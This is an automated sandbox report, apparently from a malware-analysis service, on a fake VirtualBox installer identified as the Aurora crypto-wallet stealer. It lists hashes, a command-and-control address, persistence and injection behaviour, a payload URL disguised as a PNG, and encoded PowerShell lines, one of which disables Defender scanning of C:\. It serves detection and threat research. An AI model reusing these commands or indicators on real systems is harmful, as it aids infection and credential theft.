aurora | 6ecff9d04bda4d4149f1a78486ede32e15a36b9d94fce5509467b3af1feede01

Analysis

max time kernel
172s
max time network
188s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
15/12/2022, 17:16 UTC

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General

Target

VirtualBox-7.0.2-154219-Win/VirtualBox-7.0.2-154219-Win.exe
Size

677.9MB
MD5

670e50d1d17dce3d446919680dd657f0
SHA1

fdbba6ab2df85337f8fefec7da04323ba6e42107
SHA256

7f43dee28fdf815aca5367694540bcd514c2ad9c1a4c4bc645286403fffb4123
SHA512

ed31879ce1867b31b9f0868ff797ec92dfb5284381bada666636ff07eb9b4221f60a9fb549984d0b3272e619674031431c7498451ded735ad98de4db5a53e2ba
SSDEEP

3072:eahKyd2n31yS5LvfiP1yaX3KmC5wBCgBCwfjL1c1pcSsP1XBRWf9z:eahOcnHn9BF//1cUJU

Score

10^/10

aurora persistence spyware stealer

Malware Config

Extracted

Family

aurora

79.137.206.138:8081

Signatures

Aurora
Aurora is a crypto wallet stealer written in Golang.
stealer aurora

Executes dropped EXE 2 IoCs

pid	Process
3596	BUSINE~3.EXE
4588	BUSINE~3.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	BUSINE~3.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	VirtualBox-7.0.2-154219-Win.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	VirtualBox-7.0.2-154219-Win.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3596 set thread context of 4588	3596	BUSINE~3.EXE	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
644	powershell.exe
644	powershell.exe
4656	powershell.exe
4656	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3596	BUSINE~3.EXE
Token: SeDebugPrivilege	644	powershell.exe
Token: SeDebugPrivilege	4656	powershell.exe
Token: SeIncreaseQuotaPrivilege	3396	wmic.exe
Token: SeSecurityPrivilege	3396	wmic.exe
Token: SeTakeOwnershipPrivilege	3396	wmic.exe
Token: SeLoadDriverPrivilege	3396	wmic.exe
Token: SeSystemProfilePrivilege	3396	wmic.exe
Token: SeSystemtimePrivilege	3396	wmic.exe
Token: SeProfSingleProcessPrivilege	3396	wmic.exe
Token: SeIncBasePriorityPrivilege	3396	wmic.exe
Token: SeCreatePagefilePrivilege	3396	wmic.exe
Token: SeBackupPrivilege	3396	wmic.exe
Token: SeRestorePrivilege	3396	wmic.exe
Token: SeShutdownPrivilege	3396	wmic.exe
Token: SeDebugPrivilege	3396	wmic.exe
Token: SeSystemEnvironmentPrivilege	3396	wmic.exe
Token: SeRemoteShutdownPrivilege	3396	wmic.exe
Token: SeUndockPrivilege	3396	wmic.exe
Token: SeManageVolumePrivilege	3396	wmic.exe
Token: 33	3396	wmic.exe
Token: 34	3396	wmic.exe
Token: 35	3396	wmic.exe
Token: 36	3396	wmic.exe
Token: SeIncreaseQuotaPrivilege	3396	wmic.exe
Token: SeSecurityPrivilege	3396	wmic.exe
Token: SeTakeOwnershipPrivilege	3396	wmic.exe
Token: SeLoadDriverPrivilege	3396	wmic.exe
Token: SeSystemProfilePrivilege	3396	wmic.exe
Token: SeSystemtimePrivilege	3396	wmic.exe
Token: SeProfSingleProcessPrivilege	3396	wmic.exe
Token: SeIncBasePriorityPrivilege	3396	wmic.exe
Token: SeCreatePagefilePrivilege	3396	wmic.exe
Token: SeBackupPrivilege	3396	wmic.exe
Token: SeRestorePrivilege	3396	wmic.exe
Token: SeShutdownPrivilege	3396	wmic.exe
Token: SeDebugPrivilege	3396	wmic.exe
Token: SeSystemEnvironmentPrivilege	3396	wmic.exe
Token: SeRemoteShutdownPrivilege	3396	wmic.exe
Token: SeUndockPrivilege	3396	wmic.exe
Token: SeManageVolumePrivilege	3396	wmic.exe
Token: 33	3396	wmic.exe
Token: 34	3396	wmic.exe
Token: 35	3396	wmic.exe
Token: 36	3396	wmic.exe
Token: SeIncreaseQuotaPrivilege	4304	WMIC.exe
Token: SeSecurityPrivilege	4304	WMIC.exe
Token: SeTakeOwnershipPrivilege	4304	WMIC.exe
Token: SeLoadDriverPrivilege	4304	WMIC.exe
Token: SeSystemProfilePrivilege	4304	WMIC.exe
Token: SeSystemtimePrivilege	4304	WMIC.exe
Token: SeProfSingleProcessPrivilege	4304	WMIC.exe
Token: SeIncBasePriorityPrivilege	4304	WMIC.exe
Token: SeCreatePagefilePrivilege	4304	WMIC.exe
Token: SeBackupPrivilege	4304	WMIC.exe
Token: SeRestorePrivilege	4304	WMIC.exe
Token: SeShutdownPrivilege	4304	WMIC.exe
Token: SeDebugPrivilege	4304	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4304	WMIC.exe
Token: SeRemoteShutdownPrivilege	4304	WMIC.exe
Token: SeUndockPrivilege	4304	WMIC.exe
Token: SeManageVolumePrivilege	4304	WMIC.exe
Token: 33	4304	WMIC.exe
Token: 34	4304	WMIC.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 3596	2032	VirtualBox-7.0.2-154219-Win.exe	79
PID 2032 wrote to memory of 3596	2032	VirtualBox-7.0.2-154219-Win.exe	79
PID 2032 wrote to memory of 3596	2032	VirtualBox-7.0.2-154219-Win.exe	79
PID 3596 wrote to memory of 644	3596	BUSINE~3.EXE	82
PID 3596 wrote to memory of 644	3596	BUSINE~3.EXE	82
PID 3596 wrote to memory of 644	3596	BUSINE~3.EXE	82
PID 3596 wrote to memory of 4740	3596	BUSINE~3.EXE	90
PID 3596 wrote to memory of 4740	3596	BUSINE~3.EXE	90
PID 3596 wrote to memory of 4740	3596	BUSINE~3.EXE	90
PID 4740 wrote to memory of 4656	4740	cmd.exe	92
PID 4740 wrote to memory of 4656	4740	cmd.exe	92
PID 4740 wrote to memory of 4656	4740	cmd.exe	92
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 3596 wrote to memory of 4588	3596	BUSINE~3.EXE	93
PID 4588 wrote to memory of 3396	4588	BUSINE~3.EXE	94
PID 4588 wrote to memory of 3396	4588	BUSINE~3.EXE	94
PID 4588 wrote to memory of 3396	4588	BUSINE~3.EXE	94
PID 4588 wrote to memory of 3528	4588	BUSINE~3.EXE	96
PID 4588 wrote to memory of 3528	4588	BUSINE~3.EXE	96
PID 4588 wrote to memory of 3528	4588	BUSINE~3.EXE	96
PID 3528 wrote to memory of 4304	3528	cmd.exe	98
PID 3528 wrote to memory of 4304	3528	cmd.exe	98
PID 3528 wrote to memory of 4304	3528	cmd.exe	98
PID 4588 wrote to memory of 1812	4588	BUSINE~3.EXE	99
PID 4588 wrote to memory of 1812	4588	BUSINE~3.EXE	99
PID 4588 wrote to memory of 1812	4588	BUSINE~3.EXE	99
PID 1812 wrote to memory of 3676	1812	cmd.exe	101
PID 1812 wrote to memory of 3676	1812	cmd.exe	101
PID 1812 wrote to memory of 3676	1812	cmd.exe	101

C:\Users\Admin\AppData\Local\Temp\VirtualBox-7.0.2-154219-Win\VirtualBox-7.0.2-154219-Win.exe
"C:\Users\Admin\AppData\Local\Temp\VirtualBox-7.0.2-154219-Win\VirtualBox-7.0.2-154219-Win.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUSINE~3.EXE
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUSINE~3.EXE
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3596
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMwA1AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:644
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ENC cwBlAHQALQBtAHAAcAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AZQB4AGMAbAB1AHMAaQBvAG4AcABhAHQAaAAgAEMAOgBcAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4656
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUSINE~3.EXE
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUSINE~3.EXE
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Windows\SysWOW64\Wbem\wmic.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3396
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "wmic path win32_VideoController get name"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3528
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4304
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "wmic cpu get name"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1812
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic cpu get name
        5⤵
        
        PID:3676

Network

DNS

wyndellribeiro.com.br

BUSINE~3.EXE

Remote address:

8.8.8.8:53

Request

wyndellribeiro.com.br

IN A

Response

wyndellribeiro.com.br

IN A

162.241.203.136
GET

https://wyndellribeiro.com.br/wp-admin/images/bo/Hsujyzmg.png

BUSINE~3.EXE

Remote address:

162.241.203.136:443

Request

GET /wp-admin/images/bo/Hsujyzmg.png HTTP/1.1
Host: wyndellribeiro.com.br
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Thu, 15 Dec 2022 17:18:21 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, Keep-Alive
Last-Modified: Thu, 08 Dec 2022 16:53:59 GMT
Accept-Ranges: bytes
Content-Length: 3319296
Keep-Alive: timeout=5, max=75
Content-Type: image/png
DNS

164.2.77.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

164.2.77.40.in-addr.arpa

IN PTR

Response

104.18.10.207:443

tls

138 B
183 B
3
3
104.18.7.145:443

tls

92 B
143 B
2
2
93.184.220.29:80

322 B
7
20.189.173.10:443

322 B
7
8.238.110.126:80

322 B
7
162.241.203.136:443

https://wyndellribeiro.com.br/wp-admin/images/bo/Hsujyzmg.png

tls, http

BUSINE~3.EXE

102.4kB
3.4MB
1696
2468

HTTP Request

GET https://wyndellribeiro.com.br/wp-admin/images/bo/Hsujyzmg.png

HTTP Response

200
79.137.206.138:8081

BUSINE~3.EXE

1.0MB
8.3kB
767
207

8.8.8.8:53

wyndellribeiro.com.br

dns

BUSINE~3.EXE

67 B
83 B
1
1

DNS Request

wyndellribeiro.com.br

DNS Response

162.241.203.136
8.8.8.8:53

164.2.77.40.in-addr.arpa

dns

70 B
144 B
1
1

DNS Request

164.2.77.40.in-addr.arpa

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
6195a91754effb4df74dbc72cdf4f7a6

SHA1
aba262f5726c6d77659fe0d3195e36a85046b427

SHA256
3254495a5513b37a2686a876d0040275414699e7ce760e7b5ee05e41a54b96f5

SHA512
ed723d15de267390dc93263538428e2c881be3494c996a810616b470d6df7d5acfcc8725687d5c50319ebef45caef44f769bfc32e0dc3abd249dacff4a12cc89

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
4bb93f9fe7158d24597b3a06abbe2994

SHA1
5f2cb8edd8f2714059f13d24b7bf84c45d1681aa

SHA256
427f3eb6d3c11be4c6d4fe96196c972488d53cc84753580223132f8e7ef09d00

SHA512
163fb53001b3677fc57f8877eb241cab73e09cb17c6964fa1560639f7f98cfb6d3e78ae7233f892ba443325678b3e2242179ae1d168ce0e7504f91d9f94ca129

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUSINE~3.EXE

Filesize
362.6MB

MD5
b57fd565047f69ed9031fe35607bc4de

SHA1
a34dcacc6f1915d500d8643a5e9e9b23f6c2eec1

SHA256
e7297f5162728d2282bd88f80583bd88d3075f0fbabd7568014a40e856aaa81a

SHA512
d9917bf7b8b396324cd0f77335b2fc8b5022376d646c06846e0a6c9f0908e5d4030443188913d6a9e0b1f6f763d8c9330c74d33edb55ee59690a2b5eabb64cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUSINE~3.EXE

Filesize
362.6MB

MD5
b57fd565047f69ed9031fe35607bc4de

SHA1
a34dcacc6f1915d500d8643a5e9e9b23f6c2eec1

SHA256
e7297f5162728d2282bd88f80583bd88d3075f0fbabd7568014a40e856aaa81a

SHA512
d9917bf7b8b396324cd0f77335b2fc8b5022376d646c06846e0a6c9f0908e5d4030443188913d6a9e0b1f6f763d8c9330c74d33edb55ee59690a2b5eabb64cd4

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUSINE~3.EXE

Filesize
362.6MB

MD5
b57fd565047f69ed9031fe35607bc4de

SHA1
a34dcacc6f1915d500d8643a5e9e9b23f6c2eec1

SHA256
e7297f5162728d2282bd88f80583bd88d3075f0fbabd7568014a40e856aaa81a

SHA512
d9917bf7b8b396324cd0f77335b2fc8b5022376d646c06846e0a6c9f0908e5d4030443188913d6a9e0b1f6f763d8c9330c74d33edb55ee59690a2b5eabb64cd4

Download Submit
memory/644-144-0x0000000005200000-0x0000000005266000-memory.dmp

Filesize
408KB

Download
memory/644-147-0x0000000006330000-0x000000000634A000-memory.dmp

Filesize
104KB

Download
memory/644-141-0x0000000002540000-0x0000000002576000-memory.dmp

Filesize
216KB

Download
memory/644-142-0x0000000005340000-0x0000000005968000-memory.dmp

Filesize
6.2MB

Download
memory/644-143-0x0000000005120000-0x0000000005186000-memory.dmp

Filesize
408KB

Download
memory/644-146-0x0000000007500000-0x0000000007B7A000-memory.dmp

Filesize
6.5MB

Download
memory/644-145-0x0000000005E40000-0x0000000005E5E000-memory.dmp

Filesize
120KB

Download
memory/3596-138-0x00000000058D0000-0x00000000058DA000-memory.dmp

Filesize
40KB

Download
memory/3596-139-0x0000000008FD0000-0x0000000008FF2000-memory.dmp

Filesize
136KB

Download
memory/3596-137-0x0000000005950000-0x00000000059E2000-memory.dmp

Filesize
584KB

Download
memory/3596-136-0x0000000005F00000-0x00000000064A4000-memory.dmp

Filesize
5.6MB

Download
memory/3596-135-0x0000000000F00000-0x0000000000F40000-memory.dmp

Filesize
256KB

Download
memory/4588-152-0x0000000000400000-0x0000000000725000-memory.dmp

Filesize
3.1MB

Download
memory/4588-155-0x0000000000400000-0x0000000000725000-memory.dmp

Filesize
3.1MB

Download
memory/4588-173-0x0000000000400000-0x0000000000725000-memory.dmp

Filesize
3.1MB

Download
memory/4588-172-0x0000000000400000-0x0000000000725000-memory.dmp

Filesize
3.1MB

Download
memory/4588-157-0x0000000000400000-0x0000000000725000-memory.dmp

Filesize
3.1MB

Download
memory/4656-162-0x0000000006230000-0x000000000624E000-memory.dmp

Filesize
120KB

Download
memory/4656-163-0x0000000007060000-0x000000000706A000-memory.dmp

Filesize
40KB

Download
memory/4656-166-0x0000000007290000-0x0000000007326000-memory.dmp

Filesize
600KB

Download
memory/4656-169-0x0000000005B60000-0x0000000005B6E000-memory.dmp

Filesize
56KB

Download
memory/4656-170-0x00000000071F0000-0x000000000720A000-memory.dmp

Filesize
104KB

Download
memory/4656-171-0x00000000071D0000-0x00000000071D8000-memory.dmp

Filesize
32KB

Download
memory/4656-161-0x00000000754D0000-0x000000007551C000-memory.dmp

Filesize
304KB

Download
memory/4656-160-0x0000000006250000-0x0000000006282000-memory.dmp

Filesize
200KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

DNS Request

DNS Response

DNS Request

MITRE ATT&CK Enterprise v6

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Downloads

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